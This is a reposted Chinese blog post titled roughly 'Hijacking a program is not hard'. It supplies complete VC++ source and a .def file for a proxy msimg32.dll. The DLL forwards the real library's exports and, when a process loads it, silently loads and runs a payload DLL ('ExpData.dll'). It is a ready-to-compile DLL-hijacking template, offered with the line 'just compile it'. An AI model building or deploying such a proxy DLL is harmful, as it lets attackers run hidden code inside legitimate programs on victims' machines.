劫持程序、不是难事[附件]

在VC++中新建个一个简单的dll

代码如下:Msimg32ForVC.cpp
#include "stdafx.h"
#include <tchar.h>
 
//bool is_Load;
HMODULE g_hDll;
PVOID g_pOldAlphaBlend;
PVOID g_pOldDllInitialize;
PVOID g_pOldGradientFill;
PVOID g_pOldTransparentBlt;
PVOID g_pOldvSetDdrawflag;
 
 
void ExpLoad()
{
HINSTANCE g_ExpData = LoadLibrary(" ExpData.dll"); //你需要调用的dll文件、文件名自定
if(g_ExpData>0)
{
typedef (*ExpLoad)();
ExpLoad expLoad = (ExpLoad)GetProcAddress(g_ExpData," ExpLoad"); //接口为ExpLoad,也可自定
expLoad();  
}
}
 
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  g_hDll = LoadLibrary(_T("C:\\Windows\\system32\\msimg32.dll"));
  if (g_hDll > 0)
  {
   g_pOldAlphaBlend = GetProcAddress(g_hDll, "AlphaBlend");
   g_pOldDllInitialize = GetProcAddress(g_hDll, "DllInitialize");
   g_pOldGradientFill = GetProcAddress(g_hDll, "GradientFill");
   g_pOldTransparentBlt = GetProcAddress(g_hDll, "TransparentBlt");
   g_pOldvSetDdrawflag = GetProcAddress(g_hDll, "vSetDdrawflag");
   ExpLoad();
  }
  break;
 case DLL_THREAD_ATTACH:
  break;
 case DLL_THREAD_DETACH:
  break;
 case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}
void __declspec(naked) AlphaBlend()
{
 __asm jmp g_pOldAlphaBlend;
}
 
void __declspec(naked) DllInitialize()
{
 __asm jmp g_pOldDllInitialize;
}
 
void __declspec(naked) GradientFill()
{
 __asm jmp g_pOldGradientFill;
}
 
void __declspec(naked) TransparentBlt()
{
 __asm jmp g_pOldTransparentBlt;
}
 
void __declspec(naked) vSetDdrawflag()
{
 __asm jmp g_pOldvSetDdrawflag;
}
 
代码如下:Msimg32ForVC.def
LIBRARY
EXPORTS
 AlphaBlend
 DllInitialize
 GradientFill
 TransparentBlt
 vSetDdrawflag
编译即可

转载于:https://www.cnblogs.com/netxy/archive/2013/02/23/2923853.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值